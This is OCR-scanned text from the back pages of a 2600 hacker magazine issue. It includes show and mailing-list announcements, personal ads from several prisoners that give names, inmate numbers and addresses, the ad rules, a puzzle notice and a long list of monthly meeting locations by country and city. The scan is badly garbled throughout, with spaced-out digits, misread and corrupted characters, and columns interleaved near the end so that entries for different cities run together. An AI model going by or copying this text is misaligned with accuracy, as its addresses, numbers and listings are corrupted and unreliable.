ed Wednesday nights at 7 :00 pm ET on WBAI 99.5 FM i n  New York 
City. You can also tune in  over the net at www.2600.com/offthehook 
or on shortwave In North and South America at 741 5  khz. Archives 
of al l  shows dating back to 1 988 can be found at the 2600 site, now 
in  mp3 format! Shows from 1 988-2005 are now available in DVD-R 
format for $30] Or subscribe to the new high qual ity audio service 
for only $50. Each month you'll get a newly released year of Off The 
Hook in broadcast quality (far better than previous onl ine releases) 
Send check or money order to 2600, PO Box 752. Middle Island, NY 
1 1 953 USA or order through our online store at http ://store.2600.com. 
Your feedback on the program is always welcome at oth @ 2600.com. 
INFOSEC NEWS is a privately run,  medium traffic l ist that caters to 
the distribution of infOl"mation security news articles. These articles 
come from such sources as newspapers. magazines, and onl ine 
resources. For more information, check out 
http ://www. infosecnews.org. 
CHRISTIAN HACKERS' ASSOCIATIO N ;  Check out the web page 
http://www.christlanhacker.org for detai ls .  We exist to promote a 
community for Christian hackers to discuss and impact the realm 
where faith and technology intersect for the purpose of seeing lives 
changed by God's grace through fAith in  Jesus 
PHONE PHUN. http://phonephun.us.  Blog devoted to interesting 
phone numbers. Share your  f inds! 

Personals 
WHEN THE BULLET HITS THE BONE. Bored and lonely phone 
nerd. Got some time left i n  our nation's wonderful corrections system 
Looking for pen pals to help pass the time. Interests include (not 
l imited to) telecom, computers, politics, music (punk rOCk, industrial .  
etc . ) ,  tats,  urban exploration.  23,  white male, 6 ' 1 " . 1 90 Ibs,  black hair ,  
green eyes, a few tats.  Wi l l  respond to al l .  Michael Kerr 09496-029, 
FCI Big Spring, 1 900 S i mlar Ave . ,  Big Spring, TX 79720 
LOOKING FOR PEOPLE to teach me programming related ski l ls .  I 
have not been able to learn very much on my own so if any of you 
would l ike to pass on your knowledge to a future hacker please 
contact me. I l ive In  hick-vil le, so I do not currently have the Internet 
but will get reconnected in  approximately 2-3 months. Please write to 
me: Cerberus at 24 Ray St . ,  Keene, TX 76059. Any knowledge at al l  
wi l l  be greatly appreciated. 
PRISONER SEEKS FRIENDS to help with book review lookups 
on Amazon by keywords. Com Sci rnajor, thirsty to catch up to the 
real world before my reentry. I have my own funds to buy books. I 
only need reviews. I'm M U D/MMORPG savy in C++, Java, Python,  
P H P, MySOL,  Di rectX. Ken Roberts J60962, 450-1 -28M, PO Box 9 ,  
Avenal,  CA 93204. 
SEEKING NON-STAGNANT MINDS for mutual i l lumination/ex­
change of thoughts and Ideas. Three years left on my sentence 
and even with al l  my coaching the walls sti l l  can't carry a decent 
conversation. Interests include cryptography, security, conspiracy 
theOries, martial arts, and anyth ing computer related. Al l  letters 
replied to. Max Rider, S BI#00383681 D . C . C . ,  1 1 8 1 Paddock R d . ,  
Smyrna, D E  1 9977. 
I N  SEARCH OF FRIENDS/CONTACTS: Rail roaded by lying 
evidence-burying FBI agents and U.S. Postal Inspectors for crime 
I d idn't commit. In  court I had a snowball 's chance in  hel l .  Un less I 
outsmart the government by exhuming the exculpatory treasure trove 
of my i nnocence, I'm hopelessly dungeoned for the dura.tion .  There's 
only a little gleam of time between two eternities. I refuse to return to 
forever without a fight. Will answer all. W. Wentworth Foster #21 1 81 ,  
Southeast Correction Center. 300 East Pedro Simmons Drive. 
Charleston, MO 63834. 
PLEASE WRITE ME. WM blue eyes brown hair. 6'3'", 1 95 Ibs . ,  28 
years old (send a pic, I will do the same). I'm incarcerated for drug 
manufacturing. Been down 1 year, got 1 or 3 more to go.  I ' m  looking 
for anyone to talk to about real world hacking, IDs,  or any 2600 re­
lated stuff. I love to write and have nothing but time. Meclynn Stuver 
G N - 1 1 4 1 ,  p.o.  Box 1 000, Houtzdale, PA 1 6698- 1 000. 

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600! Don't even think 
about trying to take out an ad unless you subscribe! Al l  ads are free 
and there is no amount of money we wi l l  accept for a non-subscriber 
ad. We hope that's clear. Of course, we reserve the right to pass 
judgment on your ad and not print it if  it 's amazingly stupid or has 
noth ing at al l  to do with the hacker world, We make no guarantee 
as to the honesty, righteoLisness, sanity, etc. of the people advertis­
ing here. Contact them at your peri l .  Al l  submissions are for ONE 
I S S U E  ONLY ]  If you want to run your ad more than once you must 
resubmit it each time. Don't expect us to run more than one ad for 
you i n  a single issue either. Include your address label/envelope or 
a photocopy so we know you're a subscriber. Send your ad to 2600 
Marketplace, PO Box 99, Middle Island , NY 1 1 953. Deadline for 
Autumn issue: 9/1/07. 
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We're verg upset that nobody sent in the correct answer for the Jast 
pu��fe in the spring issue. So Jet's make it interesting. The first person 
to get what we consider to be the correct answer to that pUJ�'e or 
this one wm receive their choice of a furr back issue set or a r;fetime 
subscription to 2600 (the maifa�;ne you're currentfy reading). 
If noboCly gets it, then we wi award oursefves the prj�e. 
PJease don't force our hand. Vie mean business. 
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ARG ENTINA 
Buenos Aires: III the bar at San 
Jose 05. 

AUSTRALIA 
Melbourne: Caffeine at ReVault Bar, 
1 6  Swanston Walk, near Melbourne 
Central Shopping Centre. 6:30 pm. 
Sydney: The Crystal Palace, front 
bar/bistro, opposite the bus station 
area on George St. at Central Sta­
tion. 6 pm. 

AUSTRIA 
Graz: Cafe Haltestelle on Jakomini­
platz. 

BRAZIL 
Belo Horizonte: Pelego's Bar at As­
sufeng, near the payphone. 6 pm. 

CANADA 
Alberta 

Calgary: Eau Claire Market food 
court by the bland yellow wall. 6 pm 

British Columbia 
Vancouver: The Steamworks, 375 
Water St. 
Victoria: QV Bakery and Cafe, 1 701 
Government St .  

Manitoba 
Winnipeg: St. Vital Shopping Centre, 
food court by HMV. 

New Brunswick 
Moncton: Champlain Mall food court, 
near KFC. 7 pm 

Ontario 
Barrie: Will iam's Coffee Pub, 505 
Bryne Drive. 7 pm 
Guelph: William's Coffee Pub, 492 
Edinbourgh Road South. 7 pm. 
Ottawa: World Exchange Plaza, 1 1 1  
Albert St. . second floor. 6:30 pm. 
Toronto: College Park Food Court, 
across trom tile Taco Bell. 
Waterloo: Will iam's Coffee Pub, 1 70 
University Ave. Wes1. 7 pm 
Windsor: University of Windsor, 
CAW Student Center commons area 
by the large Window. 7 pm 

Quebec 
Montreal: Bell Amphitheatre, 1 000, 
rue de la Gauchetiere. 

CHINA 
Hong Kong: Pacific Coffee !n Festi­
val Walk, Kowloon Tong. 7 pm 

CZECH REPUBLIC 
Prague: Legenda pub. 6 pm 

DENMARK 
Aalborg: Fast Eddie's pool hall  
Aarhus: In  the far corner of the DSB 
cafe in the railway station. 
Copenhagen: Cafe Blasen 
Sonderborg: Cafe Druen. 7:30 pm. 

EGYPT 
Port Said· At the foot of the Obelisk 
(EI Missallah) 

ENGLAND 
Brighton.  At the phone boxes by the 
Sealife Centre (across the road from 
the Palace Pier). 7 pm. Payphone: 
(01 273) 606674 
Exeter: At the payphones, Bedford 
Square. 7 pm 
London: Trocadero ShopPing Center 
(near Piccadilly Circus), lowest level 
6:30 pm 
Manchester: Bulls Head Pub on 
London Rd.  7:30 pm 
Norwich· Borders entrance to 
Chapelfleld Mall. 6 pm. 
Reading:  Afro Bar, Merchants Place, 
off Friar SI. 6 pm 

FINLAND 
Helsinki ·  r·enniakortteli food court 
(Vuorikatu 1 4) 

GREEC E  
Athens: Outside t h e  bookstore Pa­
paswtinou on the corner of Patision 
and Stournari. 7 pm. 

IRELAND 
Dublin: At the phone booths on Wick­
low S1. beside Tower Records. 7 pm. 

ITALY 
Milan: Piazza Loreto in front of 
McDonalds 

JAPAN 
Tokyo: Linux Cafe in  Akihabara 
district. 6 pm. 

NEW ZEALAND 
Auckland : London Bar, upstairs, 
Wellesley 51. , Auckland Central. 
5:30 pm. 
Christchurch: Java Cafe, corner of 
High 51. and Manchester 51. 6 pm 
Wellington: Load Cafe in  Cuba 
Mall .  6 pm. 

NORWAY 
Oslo: Oslo Sentral Train Station 
7 pm 
Tromsoe: The upper floor at Blaa 
Rock Cafe, Strandgata 14. 6 pm 
Trondheim: Rick's Cafe in  Nordre" 
gate. 6 pm 

PERU 
Lima: Barbilonia (ex Apu Bar), en 
Alcanfores 455, Miraflores, at the end 
of Tarata SI. 8 pm 

SCOTLAND 
Glasgow: Central Station, pay­
phones next to Platform 1. 7 pm 

SOUTH AFRICA 
Johannesburg (Sandton City)· 
Sandton food court. 6:30 pm 

SWEDEN 
Gothenburg: 2nd floor i n  Burger 
King at Avenyn. 6 pm 
Stockholm: Outside Lava 

SWITZERLAND 
lausanne: I n  front of the MacDo 
beside the train station. 

UNITED STATES 

Alabama 
Auburn: The student lounge upstairs 
in the Foy Union Building. 7 pm 
Huntsville:  Stanlieo's Sub Villa on 
Jordan Lane 
Tuscaloosa: McFarland Mall food 
court near the front entrance 

Arizona 
Tucson: Borders in the Park Mall 
7 pm. 

California 
Irvine: Panera Bread. 3988 Barranca 
Parkway. 7 pm. 
Los Angeles: Union Station, 
corner of Macy & Alarneda. Inside 
main entrance by bank of phones 
Payphones: ( 2 1 3 )  972-95 1 9 ,  9520; 
625-9923, 9924; 61 3-9704, 9746 
Monterey: London Bridge Pub, 
Wharf #2 
Sacramento: Round Table Pi zza at 
1 27 K St 
San Diego: Regents Pizza, 4 1 50 
Regents Park Row #1 70 
San Francisco: 4 Embarcadero 
Plaza (inside). Payphones: (415)  
398-9803, 9804, 9805, 9806. 
5 :30 pm. 
San Jose: Outside the cafe at the 
MLK Library at 4th and E.  San 
Fernando. 6 pm 

Colorado 
Boulder· Wing Zone food court, 1 3th 
and College. 6 pm. 

University of Florida's Reitz Union 
food court. 6 pm. 
Orlando: Fashion Square Mall Food 
Court between Hovan Gourmet and 
Manchu Wok. 6 pm. 
Tampa; University Mall in  the back of 
the food court on the 2nd floor. 6 pm. 

Georgia 
Atlanta: Lenox Mall foOd court. 7 pm. 

Idaho 
Boise: BSU Student Union Building, 
upstairs from the main entrance. 
Payphones: (208) 342-9700, 970 1 .  
Pocatello: College Market, 604 
South 8th 51. 

Illinois 
Chicago: Neighborhood Boys and 
Girls Club, 2501 W. Irving Park 
Rd. 7 pm. 

Indiana 
Evansville: Barnes and Noble cafe at 
624 S Green River Rd. 
Ft. Wayne: Glenbrook Mall food court 
In front of Sbarro's. 6 pm. 
Indianapolis: Corner Coffee, SW 
corner of 11 th and Alabama. 
South Bend (Mishawaka): Barnes 
and Noble cafe, 4601 Grape Rd. 

Iowa 
Ames: Memorial Union Building food 
court at the Iowa State University. 

Kansas 
Kansas City (Overland Park): Oak 
Park Mall food court 
Wichita: Riverside Perk. 1 1 44 
Bitting Ave. 

Louisiana 
Baton Rouge: In  the LSU Union 
Building, between the Tiger Pause & 
McDonald's. 6 pm 
New Orleans: Z'otz Coffee House 
uptown at 8210 Oak Street. 6 pm. 

Maine 
Portland: Maine Mall by the bench at 
the food court door 

Maryland 
Baltimore: Barnes & Noble cafe at 
the Inner Harbor. 

Massachusetts 
Boston: Prudential Center Plaza, 
terrace food court at the tables near 
the windows. 6 pm. 
Marlborough: Solomon Park Mall 
food court. 
Northampton: Downstairs of Hay­
market Cafe. 6:30 pm. 

Michigan 
Ann Arbor: Starbucks in The Galleria 
on South University 

Minnesota 
Bloomington: Mall of America, north 
Side food court. across from Burger 
King & the bank of payphones that 
don't take incoming calls. 

Missouri 
Kansas City (Independence) 
Barnes & Noble, 1 9 1 20 East 39th St 
St. Louis: Galleria Food Court 
Springfield: Borders Books and 
Music coffeeshop, 3300 South 
Glenstone Ave . ,  one block south of 
Battlefield Mall .  5:30 pm. 

Nebraska 
Omaha: Crossroads Mall Food 
Court. 7 pm 

Nevada 
Las Vegas: McMullan's Pub, 4650 
W. Tropicana Ave. (across the street 
from The Orleans Casino). 7 pm 

Denver· Borders Cafe, Parker and New Mexico 
Arapahoe. Albuquerque: University of New 

Rochester: Panera Bread, 2373 
West Ridge Rd. 7:30 pm. 

North Carolina 
Charlotte: South Park Mall food 
court. 7 pm. 
Raleigh: Royal Bean coffee shop on 
Hillsboro Street (next to the Playmak­
ers Sports Bar and across from 
Meredith COllege) 
Wilmington: The ConnectIOn Internet 
Cafe, 250-1 Racine Drive, Racine 
Commons Shopping Center. 

North Dakota 
Fargo: West Acres Mall food court by 
the Taco John's. 

Ohio 
Cincinnati: The Brew House, 1 047 
East McMillan. 7 pm 
Cleveland: University Circle Arabica, 
1 1 300 Juniper Rd. Upstairs, turn 
right, second room on left. 
Columbus: Convention center on 
street level around the corner from 
the food court. 
Dayton: TGi Friday's off 725 by the 
Dayton Mall. 

Oklahoma 
Oklahoma City: Cafe Bella, south­
east corner of SW 89th St. and Penn 
Tulsa: Promenade Mall food court. 

Oregon 
Portland: Backspace Cafe, 1 1 5  NW 
5th Ave. 6 pm 

Pennsylvania 
Allentown: Panera Bread, 3 1 00 
West Tilghman 51. 6 pm. 
Philadelphia: 30th 51. Station, south­
east food court near mini post office. 

South Carolina 
Charleston: Northwoods Mall in the 
hall between Sears and Chik-Fil-A. 

South Dakota 
Sioux Falls: Empire Mall ,  by Burger 
King. 

Tennessee 
Knoxville: Borders Books Cafe 
across from Westown Mall. 
Memphis: Atlanta Bread Co.,  4770 
Poplar Ave. 6 pm 
Nashville: Vanderbilt University Hi l l  
Center, Room 1 5 1 ,  1 23 1 1 8th Avenue 
South. 6 pm. 

Texas 
Austin:  Spider House Cafe, 2908 
Fruth SI. 7 pm 
Houston: Ninfa's Express in front of 
Nordstrom's in the Galiena Mall .  
San Antonio: North Star Mall food 
court. 6 pm 

Utah 
Salt Lake City: ZCMI Mall in The 
Park Food Court 

Vermont 
Burlington: Borders Books at 
Church St. and Cherry S1. on the 
second floor of the cafe. 

Virginia 
Arlington: (see District of Columbia) 
Virginia Beach: Lynnhaven Mall on 
Lynnhaven Parkway. 6 pm. 

Washington 
Seattle: Washington State Conven­
tion Center. 2nd level, south side 
6 pm 

Wisconsin 
Madison: Union South (227 N 
Randall Ave.) on the lower level in 
the Martin Luther King Jr. Lounge 
Payphone: (608) 251 -9909 

FRANCE 
District of Columbia �;��r?' 1��Ue�����g:f,

n:a��d�:���:za 

Grenoble. Eve, campus of 51. Martin 
Arlington: Pentagon City Mall in the Payphones: 505-843-9033, 505-843- All meetings take place on the 

d'Heres 6 pm 
food court (near Au Bon Pain) 6 pm. 9034. 5 :30 pm. first Friday of the month. Unless 

Paris· Place de la Republique, near otherwise noted, they start at 5 pm 
the (empty) fountain. 6:30 pm 

Florida New York local time. To start a meeting in 
Aennes: If] front uf the store "Blue 

Ft. Lauderdale: Broward Mall in the New York· c.;ltigroup Center, In the your city, send email  to 
Box" close to Place de la Republique 

food court. 6 pm. lobby. near the payphones, 1 53 E meetings@2600.com. 
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